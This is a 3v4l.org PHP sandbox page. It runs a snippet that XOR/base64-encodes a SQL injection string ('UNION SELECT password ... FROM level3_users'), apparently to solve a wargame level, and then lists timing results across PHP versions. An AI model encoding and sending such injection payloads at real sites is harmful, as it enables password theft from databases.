3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT password,2,3,4,5,6,7 FROM level3_users WHERE Username=Admin--"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0080.00818.54
8.3.50.0150.00322.20
8.3.40.0070.01419.18
8.3.30.0150.00019.04
8.3.20.0040.01120.24
8.3.10.0000.00821.87
8.3.00.0050.00322.37
8.2.180.0110.00416.75
8.2.170.0070.00722.96
8.2.160.0060.00920.88
8.2.150.0000.00824.18
8.2.140.0090.00024.66
8.2.130.0070.00026.16
8.2.120.0040.00419.61
8.2.110.0030.00622.26
8.2.100.0120.00018.03
8.2.90.0030.00619.36
8.2.80.0040.00418.04
8.2.70.0040.00717.75
8.2.60.0030.00618.03
8.2.50.0000.00818.07
8.2.40.0040.00418.34
8.2.30.0110.00018.18
8.2.20.0000.00717.82
8.2.10.0030.00517.92
8.2.00.0080.00017.87
8.1.280.0140.00725.92
8.1.270.0040.00423.82
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0060.00323.83
8.1.230.0090.00319.18
8.1.220.0000.00817.74
8.1.210.0050.00318.77
8.1.200.0060.00317.61
8.1.190.0000.00817.43
8.1.180.0040.00418.10
8.1.170.0030.00518.82
8.1.160.0070.00022.01
8.1.150.0000.00718.73
8.1.140.0030.00517.61
8.1.130.0030.00317.89
8.1.120.0000.00717.65
8.1.110.0090.00017.65
8.1.100.0050.00217.50
8.1.90.0070.00017.63
8.1.80.0000.00817.71
8.1.70.0050.00317.64
8.1.60.0000.00817.66
8.1.50.0000.00817.63
8.1.40.0030.00517.70
8.1.30.0000.00817.75
8.1.20.0000.00817.81
8.1.10.0030.00517.67
8.1.00.0050.00317.56
8.0.300.0040.00418.77
8.0.290.0040.00417.30
8.0.280.0040.00418.55
8.0.270.0000.00717.37
8.0.260.0080.00017.05
8.0.250.0000.00717.04
8.0.240.0030.00317.11
8.0.230.0000.00717.14
8.0.220.0000.00717.10
8.0.210.0030.00317.12
8.0.200.0030.00317.15
8.0.190.0040.00417.04
8.0.180.0070.00417.08
8.0.170.0040.00417.00
8.0.160.0000.00817.07
8.0.150.0040.00416.98
8.0.140.0050.00317.07
8.0.130.0050.00013.52
8.0.120.0000.00817.08
8.0.110.0000.00816.97
8.0.100.0000.00817.07
8.0.90.0000.00817.14
8.0.80.0000.01517.07
8.0.70.0000.00716.95
8.0.60.0020.00516.90
8.0.50.0020.00517.03
8.0.30.0110.00917.30
8.0.20.0100.01217.40
8.0.10.0030.00517.17
8.0.00.0100.00717.00
7.4.330.0050.00015.02
7.4.320.0000.00716.85
7.4.300.0000.00716.68
7.4.290.0040.00416.73
7.4.280.0000.00716.76
7.4.270.0070.00016.83
7.4.260.0070.00016.73
7.4.250.0040.00416.75
7.4.240.0010.00616.74
7.4.230.0000.00816.93
7.4.220.0080.00816.75
7.4.210.0040.01116.79
7.4.200.0000.00716.81
7.4.190.0000.00816.63
7.4.160.0040.01216.70
7.4.150.0150.00917.40
7.4.140.0130.00617.86
7.4.130.0110.00916.77
7.4.120.0080.01016.74
7.4.110.0090.00916.77
7.4.100.0130.00716.74
7.4.90.0030.01716.60
7.4.80.0090.01019.39
7.4.70.0130.00916.84
7.4.60.0090.00916.66
7.4.50.0020.00216.86
7.4.40.0090.00622.77
7.4.30.0030.01716.70
7.4.00.0040.01415.34
7.3.330.0050.00013.58
7.3.320.0000.00513.48
7.3.310.0000.00816.57
7.3.300.0070.00016.56
7.3.290.0070.00716.56
7.3.280.0090.00916.58
7.3.270.0160.00317.40
7.3.260.0040.01316.81
7.3.250.0120.00616.85
7.3.240.0060.01216.56
7.3.230.0100.00716.46
7.3.210.0140.00316.63
7.3.200.0030.01919.39
7.3.190.0070.01016.63
7.3.180.0030.01216.63
7.3.170.0060.00916.62
7.3.160.0060.01016.63
7.3.120.0030.01015.27
7.3.10.0000.01916.76
7.3.00.0110.00616.86
7.2.330.0100.01316.86
7.2.320.0040.01316.77
7.2.310.0130.01016.75
7.2.300.0030.01516.88
7.2.290.0070.01016.96
7.2.130.0090.00616.88
7.2.120.0100.00316.82
7.2.110.0060.00617.03
7.2.100.0030.01017.03
7.2.90.0030.00916.88
7.2.80.0000.00817.09
7.2.70.0060.01016.98
7.2.60.0050.01017.08
7.2.50.0100.00317.00
7.2.40.0040.00817.16
7.2.30.0040.00817.07
7.2.20.0030.00617.15
7.2.10.0040.00417.26
7.2.00.0050.00718.29
7.1.250.0080.00415.79
7.1.240.0030.01315.95
7.1.230.0060.00916.16
7.1.220.0070.00715.57
7.1.210.0090.00316.02
7.1.200.0060.00715.83
7.1.190.0040.00715.68
7.1.180.0000.01416.09
7.1.170.0060.00315.94
7.1.160.0070.01115.84
7.1.150.0030.01016.06
7.1.140.0000.01315.85
7.1.130.0040.01116.00
7.1.120.0000.01015.89
7.1.110.0070.00715.91
7.1.100.0040.00717.21
7.1.90.0070.00715.98
7.1.80.0040.00816.11
7.1.70.0080.00216.77
7.1.60.0050.01117.92
7.1.50.0060.00716.40
7.1.40.0040.00915.79
7.1.30.0050.00316.04
7.1.20.0110.00416.02
7.1.10.0090.00416.10
7.1.00.0030.03919.14
7.0.330.0000.01315.34
7.0.320.0120.00415.48
7.0.310.0030.01015.63
7.0.300.0090.00615.34
7.0.290.0030.00915.42
7.0.280.0040.00415.70
7.0.270.0070.00415.59
7.0.260.0000.01015.60
7.0.250.0030.00715.62
7.0.240.0100.00615.63
7.0.230.0050.00515.64
7.0.220.0100.00315.64
7.0.210.0090.00315.26
7.0.200.0060.00616.16
7.0.190.0040.00815.68
7.0.180.0000.01315.41
7.0.170.0050.00315.39
7.0.160.0100.00315.40
7.0.150.0060.00615.56
7.0.140.0080.03618.80
7.0.130.0070.00715.76
7.0.120.0050.00515.61
7.0.110.0030.00915.63
7.0.100.0050.02617.83
7.0.90.0020.02617.89
7.0.80.0060.02017.76
7.0.70.0090.04217.78
7.0.60.0090.04517.78
7.0.50.0150.03818.08
7.0.40.0100.04316.91
7.0.30.0050.04716.80
7.0.20.0050.04716.89
7.0.10.0080.04316.80
7.0.00.0100.04316.82
5.6.380.0050.00214.63
5.6.370.0070.00714.78
5.6.360.0060.00314.50
5.6.350.0060.00614.91
5.6.340.0000.01614.21
5.6.330.0000.01414.78
5.6.320.0040.01114.55
5.6.310.0060.01014.16
5.6.300.0080.00814.36
5.6.290.0030.01014.21
5.6.280.0070.03817.88
5.6.270.0040.01214.60
5.6.260.0070.01114.17
5.6.250.0040.02717.67
5.6.240.0070.02217.67
5.6.230.0030.02817.58
5.6.220.0080.04017.62
5.6.210.0020.04917.50
5.6.200.0060.04317.65
5.6.190.0060.04517.86
5.6.180.0080.04517.85
5.6.170.0050.05017.77
5.6.160.0070.04617.64
5.6.150.0020.05017.90
5.6.140.0070.04217.72
5.6.130.0050.04617.64
5.6.120.0140.03017.92
5.6.110.0100.04617.76
5.6.100.0070.04417.77
5.6.90.0090.04117.71
5.6.80.0040.04517.45
5.6.70.0040.04517.47
5.6.60.0070.03217.31
5.6.50.0070.04417.35
5.6.40.0090.04317.45
5.6.30.0050.04417.45
5.6.20.0030.04417.40
5.6.10.0100.02517.32
5.6.00.0080.03417.51
5.5.380.0030.03515.78
5.5.370.0050.03515.85
5.5.360.0030.02216.08
5.5.350.0050.04515.86
5.5.340.0060.03216.23
5.5.330.0100.03816.01
5.5.320.0090.04116.12
5.5.310.0050.04716.14
5.5.300.0050.04516.22
5.5.290.0050.04216.03
5.5.280.0070.04616.06
5.5.270.0070.04316.26
5.5.260.0050.03616.20
5.5.250.0110.04116.01
5.5.240.0070.04015.76
5.5.230.0110.03615.85
5.5.220.0100.03715.78
5.5.210.0070.04215.77
5.5.200.0120.03815.70
5.5.190.0090.03015.80
5.5.180.0070.04015.82
5.5.170.0060.00611.31
5.5.160.0100.04215.73
5.5.150.0100.03715.83
5.5.140.0100.04015.83
5.5.130.0070.03915.62
5.5.120.0100.03915.78
5.5.110.0080.04115.78
5.5.100.0080.03615.76
5.5.90.0070.04215.61
5.5.80.0060.04015.66
5.5.70.0120.03715.50
5.5.60.0070.03915.75
5.5.50.0020.04415.67
5.5.40.0070.04015.56
5.5.30.0070.04515.61
5.5.20.0020.03915.63
5.5.10.0060.04015.73
5.5.00.0120.02315.60
5.4.450.0100.04115.32
5.4.440.0060.04015.24
5.4.430.0120.03615.27
5.4.420.0080.04115.21
5.4.410.0070.04215.07
5.4.400.0080.03915.00
5.4.390.0050.03915.20
5.4.380.0090.03515.24
5.4.370.0080.03014.87
5.4.360.0060.04115.24
5.4.350.0000.04715.13
5.4.340.0060.03315.09
5.4.330.0040.00411.44
5.4.320.0050.03615.18
5.4.310.0120.03015.10
5.4.300.0020.04215.00
5.4.290.0030.03815.29
5.4.280.0070.03815.30
5.4.270.0050.03515.32
5.4.260.0070.03815.25
5.4.250.0070.03515.14
5.4.240.0020.04515.07
5.4.230.0070.04115.00
5.4.220.0100.03815.32
5.4.210.0080.04015.16
5.4.200.0080.03514.99
5.4.190.0030.04214.96
5.4.180.0100.03515.19
5.4.170.0080.04115.20
5.4.160.0030.04315.10
5.4.150.0080.04015.16
5.4.140.0020.04413.87
5.4.130.0040.04213.78
5.4.120.0030.03513.93
5.4.110.0070.04013.90
5.4.100.0020.03213.80
5.4.90.0030.04313.69
5.4.80.0030.04013.94
5.4.70.0080.03013.89
5.4.60.0030.04313.82
5.4.50.0100.03213.87
5.4.40.0080.03413.91
5.4.30.0030.04313.75
5.4.20.0030.04213.75
5.4.10.0070.04013.78
5.4.00.0080.03313.32
5.3.290.0020.03212.79
5.3.280.0060.03612.74
5.3.270.0040.04112.70
5.3.260.0030.02812.71
5.3.250.0100.03512.68
5.3.240.0110.03812.62
5.3.230.0070.04212.63
5.3.220.0070.03812.62
5.3.210.0130.03312.60
5.3.200.0110.03712.64
5.3.190.0070.04312.54
5.3.180.0090.03512.54
5.3.170.0100.02812.58
5.3.160.0100.03712.66
5.3.150.0100.03812.71
5.3.140.0080.03812.65
5.3.130.0070.04112.64
5.3.120.0040.04412.69
5.3.110.0080.03812.69
5.3.100.0070.03012.39
5.3.90.0050.03612.38
5.3.80.0040.04012.40
5.3.70.0050.04012.35
5.3.60.0040.03012.39
5.3.50.0070.03812.19
5.3.40.0080.03512.29
5.3.30.0030.03812.25
5.3.20.0030.04112.10
5.3.10.0040.04012.04
5.3.00.0030.04312.18
5.2.170.0020.02811.68
5.2.160.0030.03211.70
5.2.150.0050.03411.70
5.2.140.0020.03411.59
5.2.130.0070.02511.63
5.2.120.0040.03411.64
5.2.110.0080.03211.61
5.2.100.0050.02911.66
5.2.90.0070.03011.61
5.2.80.0070.03011.63
5.2.70.0010.03111.63
5.2.60.0020.03511.56
5.2.50.0000.03711.59
5.2.40.0040.03711.49
5.2.30.0050.02811.59
5.2.20.0030.03711.44
5.2.10.0070.02711.46
5.2.00.0070.03011.41
5.1.60.0020.03211.40
5.1.50.0050.02311.40
5.1.40.0020.03211.40
5.1.30.0050.02611.40
5.1.20.0030.03211.40
5.1.10.0050.02711.40
5.1.00.0050.02511.40
5.0.50.0020.02611.40
5.0.40.0070.02011.40
5.0.30.0060.03111.40
5.0.20.0070.02011.40
5.0.10.0030.02311.40
5.0.00.0080.02811.40
4.4.90.0040.01811.40
4.4.80.0000.02111.40
4.4.70.0030.01811.40
4.4.60.0010.01511.40
4.4.50.0020.02211.40
4.4.40.0000.02611.40
4.4.30.0000.02011.40
4.4.20.0020.02111.40
4.4.10.0020.01811.40
4.4.00.0020.02511.40
4.3.110.0020.01911.40
4.3.100.0030.01711.40
4.3.90.0020.02011.40
4.3.80.0000.03011.40
4.3.70.0050.01511.40
4.3.60.0040.02011.40
4.3.50.0020.02211.40
4.3.40.0020.02711.40
4.3.30.0000.02111.40
4.3.20.0020.02011.40
4.3.10.0000.02411.40
4.3.00.0050.01711.40

preferences:
47.07 ms | 401 KiB | 5 Q